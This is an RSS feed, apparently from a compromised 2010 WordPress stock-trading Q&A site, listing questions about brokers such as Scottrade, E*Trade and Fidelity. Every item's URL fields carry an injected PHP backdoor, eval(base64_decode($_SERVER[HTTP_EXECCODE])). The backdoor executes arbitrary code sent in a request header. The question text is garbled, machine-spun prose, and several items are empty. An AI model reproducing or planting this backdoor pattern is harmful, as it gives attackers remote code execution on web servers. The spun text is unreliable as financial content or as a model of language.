<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Online Stock Trades &#38; Buy Stocks Online</title>
	<atom:link href="http://www.myonlinestocktrades.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.myonlinestocktrades.net</link>
	<description>Discussion for optionsXpress, Tradeking, Fidelity, E*Trade Financial, thinkorswim, Firstrade, Charles Schwab, Scottrade, TD Ameritrade, MB Trading</description>
	<lastBuildDate>Thu, 29 Jul 2010 10:08:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>On Scottrade, is it possible to set a range limit where the stock sells? Would they accept 2 concurrent limit?</title>
		<link>http://www.myonlinestocktrades.net/2010/07/29/on-scottrade-is-it-possible-to-set-a-range-limit-where-the-stock-sells-would-they-accept-2-concurrent-limit/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.myonlinestocktrades.net/2010/07/29/on-scottrade-is-it-possible-to-set-a-range-limit-where-the-stock-sells-would-they-accept-2-concurrent-limit/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 10:08:00 +0000</pubDate>
		<dc:creator>Online Stock Traders</dc:creator>
				<category><![CDATA[Scottrade]]></category>

		<guid isPermaLink="false">http://www.myonlinestocktrades.net/2010/07/29/on-scottrade-is-it-possible-to-set-a-range-limit-where-the-stock-sells-would-they-accept-2-concurrent-limit/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[orders similar to for e.g. if we had:
Want to sell ARIA if it goes up as well as reaches 3.60
Want to sell ARIA if it goes down as well as passes 3.30
Could we set these boundary so which possibly condition activates my sell?
]]></description>
			<content:encoded><![CDATA[<p>orders similar to for e.g. if we had:</p>
<p>Want to sell ARIA if it goes up as well as reaches 3.60<br />
Want to sell ARIA if it goes down as well as passes 3.30</p>
<p>Could we set these boundary so which possibly condition activates my sell?</p>
<img src="http://www.myonlinestocktrades.net/?ak_action=api_record_view&id=2113&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.myonlinestocktrades.net/2010/07/29/on-scottrade-is-it-possible-to-set-a-range-limit-where-the-stock-sells-would-they-accept-2-concurrent-limit/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>How much should you trust your gut instinct in terms of a partners fidelity?</title>
		<link>http://www.myonlinestocktrades.net/2010/07/29/how-much-should-you-trust-your-gut-instinct-in-terms-of-a-partners-fidelity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.myonlinestocktrades.net/2010/07/29/how-much-should-you-trust-your-gut-instinct-in-terms-of-a-partners-fidelity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 10:07:55 +0000</pubDate>
		<dc:creator>Online Stock Traders</dc:creator>
				<category><![CDATA[Fidelity]]></category>

		<guid isPermaLink="false">http://www.myonlinestocktrades.net/2010/07/29/how-much-should-you-trust-your-gut-instinct-in-terms-of-a-partners-fidelity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[</p>
<img src="http://www.myonlinestocktrades.net/?ak_action=api_record_view&id=2112&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.myonlinestocktrades.net/2010/07/29/how-much-should-you-trust-your-gut-instinct-in-terms-of-a-partners-fidelity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>how does E Trade work? i want to invest some money but not sure what option to choose on ETrade.?</title>
		<link>http://www.myonlinestocktrades.net/2010/07/29/how-does-e-trade-work-i-want-to-invest-some-money-but-not-sure-what-option-to-choose-on-etrade/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.myonlinestocktrades.net/2010/07/29/how-does-e-trade-work-i-want-to-invest-some-money-but-not-sure-what-option-to-choose-on-etrade/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:39:03 +0000</pubDate>
		<dc:creator>Online Stock Traders</dc:creator>
				<category><![CDATA[E*Trade Financial]]></category>

		<guid isPermaLink="false">http://www.myonlinestocktrades.net/2010/07/29/how-does-e-trade-work-i-want-to-invest-some-money-but-not-sure-what-option-to-choose-on-etrade/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[i wish to deposit small money. similar to 0 to begin off. as well as may be some-more small by little. is it probable to deposit this little. as well as what choice do i choose? as well as can i take out income whenever? i know alot of my friends contend dont do it. [...]]]></description>
			<content:encoded><![CDATA[<p>i wish to deposit small money. similar to 0 to begin off. as well as may be some-more small by little. is it probable to deposit this little. as well as what choice do i choose? as well as can i take out income whenever? i know alot of my friends contend dont do it. to do my task first. though i feel if i dont do it know i will never do it.<br />
please help. thanks</p>
<img src="http://www.myonlinestocktrades.net/?ak_action=api_record_view&id=2110&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.myonlinestocktrades.net/2010/07/29/how-does-e-trade-work-i-want-to-invest-some-money-but-not-sure-what-option-to-choose-on-etrade/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Is it best to open a Roth IRA with the same company where I already have my 401K (Fidelity)or a different one?</title>
		<link>http://www.myonlinestocktrades.net/2010/07/28/is-it-best-to-open-a-roth-ira-with-the-same-company-where-i-already-have-my-401k-fidelityor-a-different-one/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.myonlinestocktrades.net/2010/07/28/is-it-best-to-open-a-roth-ira-with-the-same-company-where-i-already-have-my-401k-fidelityor-a-different-one/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 18:38:06 +0000</pubDate>
		<dc:creator>Online Stock Traders</dc:creator>
				<category><![CDATA[Fidelity]]></category>

		<guid isPermaLink="false">http://www.myonlinestocktrades.net/2010/07/28/is-it-best-to-open-a-roth-ira-with-the-same-company-where-i-already-have-my-401k-fidelityor-a-different-one/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[</p>
<img src="http://www.myonlinestocktrades.net/?ak_action=api_record_view&id=2109&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.myonlinestocktrades.net/2010/07/28/is-it-best-to-open-a-roth-ira-with-the-same-company-where-i-already-have-my-401k-fidelityor-a-different-one/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Sharebuilder or ETrade, which has less commissions?</title>
		<link>http://www.myonlinestocktrades.net/2010/07/28/sharebuilder-or-etrade-which-has-less-commissions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.myonlinestocktrades.net/2010/07/28/sharebuilder-or-etrade-which-has-less-commissions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 07:47:30 +0000</pubDate>
		<dc:creator>Online Stock Traders</dc:creator>
				<category><![CDATA[E*Trade Financial]]></category>

		<guid isPermaLink="false">http://www.myonlinestocktrades.net/2010/07/28/sharebuilder-or-etrade-which-has-less-commissions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[I am creation about 20-30 trades the month. With Sharebuilder it is  the month for twenty trades as well as  the traffic therafter. we see Etrade says .99 for up to 150 trades the quarter. Is this .99 the trade, or .99 for 150 trades the quarter? The info upon Etrade seems flattering [...]]]></description>
			<content:encoded><![CDATA[<p>I am creation about 20-30 trades the month. With Sharebuilder it is  the month for twenty trades as well as  the traffic therafter. we see Etrade says .99 for up to 150 trades the quarter. Is this .99 the trade, or .99 for 150 trades the quarter? The info upon Etrade seems flattering vague.</p>
<img src="http://www.myonlinestocktrades.net/?ak_action=api_record_view&id=2108&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.myonlinestocktrades.net/2010/07/28/sharebuilder-or-etrade-which-has-less-commissions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Does the Scottrade startup fee get used to buy stocks, or do you have to use other money to buy the stocks?</title>
		<link>http://www.myonlinestocktrades.net/2010/07/28/does-the-scottrade-startup-fee-get-used-to-buy-stocks-or-do-you-have-to-use-other-money-to-buy-the-stocks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.myonlinestocktrades.net/2010/07/28/does-the-scottrade-startup-fee-get-used-to-buy-stocks-or-do-you-have-to-use-other-money-to-buy-the-stocks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 06:43:07 +0000</pubDate>
		<dc:creator>Online Stock Traders</dc:creator>
				<category><![CDATA[Scottrade]]></category>

		<guid isPermaLink="false">http://www.myonlinestocktrades.net/2010/07/28/does-the-scottrade-startup-fee-get-used-to-buy-stocks-or-do-you-have-to-use-other-money-to-buy-the-stocks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[They contend which a price to begin an comment is 0. Is which a smallest volume we contingency squeeze bonds with to start, or is there which 0 as well as afterwards we additionally have to have some-more income to buy bonds with?
]]></description>
			<content:encoded><![CDATA[<p>They contend which a price to begin an comment is 0. Is which a smallest volume we contingency squeeze bonds with to start, or is there which 0 as well as afterwards we additionally have to have some-more income to buy bonds with?</p>
<img src="http://www.myonlinestocktrades.net/?ak_action=api_record_view&id=2107&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.myonlinestocktrades.net/2010/07/28/does-the-scottrade-startup-fee-get-used-to-buy-stocks-or-do-you-have-to-use-other-money-to-buy-the-stocks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>What does the term fidelity mean in terms of sound?</title>
		<link>http://www.myonlinestocktrades.net/2010/07/28/what-does-the-term-fidelity-mean-in-terms-of-sound/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.myonlinestocktrades.net/2010/07/28/what-does-the-term-fidelity-mean-in-terms-of-sound/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:22:40 +0000</pubDate>
		<dc:creator>Online Stock Traders</dc:creator>
				<category><![CDATA[Fidelity]]></category>

		<guid isPermaLink="false">http://www.myonlinestocktrades.net/2010/07/28/what-does-the-term-fidelity-mean-in-terms-of-sound/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[</p>
<img src="http://www.myonlinestocktrades.net/?ak_action=api_record_view&id=2105&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.myonlinestocktrades.net/2010/07/28/what-does-the-term-fidelity-mean-in-terms-of-sound/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Which financial institution is currently the best for retirement accounts?</title>
		<link>http://www.myonlinestocktrades.net/2010/07/28/which-financial-institution-is-currently-the-best-for-retirement-accounts/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.myonlinestocktrades.net/2010/07/28/which-financial-institution-is-currently-the-best-for-retirement-accounts/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 00:29:32 +0000</pubDate>
		<dc:creator>Online Stock Traders</dc:creator>
				<category><![CDATA[Charles Schwab]]></category>

		<guid isPermaLink="false">http://www.myonlinestocktrades.net/2010/07/28/which-financial-institution-is-currently-the-best-for-retirement-accounts/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[I wish to brand a most appropriate monetary establishment for opening a Roth IRA. It contingency have peculiarity mutual supports with no bucket or exchange fees. we wish to have monthly payments (~0) as well as have which income rught away converted to shares of a mutual comment which we choose. So far, Fidelity as [...]]]></description>
			<content:encoded><![CDATA[<p>I wish to brand a most appropriate monetary establishment for opening a Roth IRA. It contingency have peculiarity mutual supports with no bucket or exchange fees. we wish to have monthly payments (~0) as well as have which income rught away converted to shares of a mutual comment which we choose. So far, Fidelity as well as Charles Schwab will concede involuntary monthly payments. Unfortunately, Chuck requires which a smallest for a mutual supports (usually 00) is met prior to involuntary purchases of a comment can be finished monthly. Fidelity will reduce 00 minimums to 0. Does any one have knowledge with these monetary institutions or an additional with a improved policy?<br />
Vanguard can setup an involuntary investment of  though we have to encounter a 00 smallest initial to even open an account. While T. Rowe Price will additionally setup a  involuntary investment  with no smallest definition a  can be rught away invested. The problems is which we have been singular to T. Rowe Price Funds usually (no stocks, no ETFs, etc.). So distant Fidelity seems a most appropriate altogether choice with no transparent cut winner.</p>
<img src="http://www.myonlinestocktrades.net/?ak_action=api_record_view&id=2104&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.myonlinestocktrades.net/2010/07/28/which-financial-institution-is-currently-the-best-for-retirement-accounts/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Why won&#039;t E*trade, Etrade let me buy stocks?</title>
		<link>http://www.myonlinestocktrades.net/2010/07/27/why-wont-etrade-etrade-let-me-buy-stocks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.myonlinestocktrades.net/2010/07/27/why-wont-etrade-etrade-let-me-buy-stocks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 09:19:10 +0000</pubDate>
		<dc:creator>Online Stock Traders</dc:creator>
				<category><![CDATA[E*Trade Financial]]></category>

		<guid isPermaLink="false">http://www.myonlinestocktrades.net/2010/07/27/why-wont-etrade-etrade-let-me-buy-stocks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[I non-stop an comment 1 week ago as well as have deposited 0 to buy stocks. we transfered income from my bank to my etrade comment as well as it has cleared, though when we got to buy the share, it says which we have deficient funds.
What&#8217;s the smallest we need? Should we put income [...]]]></description>
			<content:encoded><![CDATA[<p>I non-stop an comment 1 week ago as well as have deposited 0 to buy stocks. we transfered income from my bank to my etrade comment as well as it has cleared, though when we got to buy the share, it says which we have deficient funds.</p>
<p>What&#8217;s the smallest we need? Should we put income in to my comment around the  handle transfer?</p>
<p>Someone help!</p>
<img src="http://www.myonlinestocktrades.net/?ak_action=api_record_view&id=2103&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.myonlinestocktrades.net/2010/07/27/why-wont-etrade-etrade-let-me-buy-stocks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>which is better inverting or non inverting in terms of fidelity of signal processing?</title>
		<link>http://www.myonlinestocktrades.net/2010/07/27/which-is-better-inverting-or-non-inverting-in-terms-of-fidelity-of-signal-processing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.myonlinestocktrades.net/2010/07/27/which-is-better-inverting-or-non-inverting-in-terms-of-fidelity-of-signal-processing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 09:18:56 +0000</pubDate>
		<dc:creator>Online Stock Traders</dc:creator>
				<category><![CDATA[Fidelity]]></category>

		<guid isPermaLink="false">http://www.myonlinestocktrades.net/2010/07/27/which-is-better-inverting-or-non-inverting-in-terms-of-fidelity-of-signal-processing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[</p>
<img src="http://www.myonlinestocktrades.net/?ak_action=api_record_view&id=2102&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.myonlinestocktrades.net/2010/07/27/which-is-better-inverting-or-non-inverting-in-terms-of-fidelity-of-signal-processing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
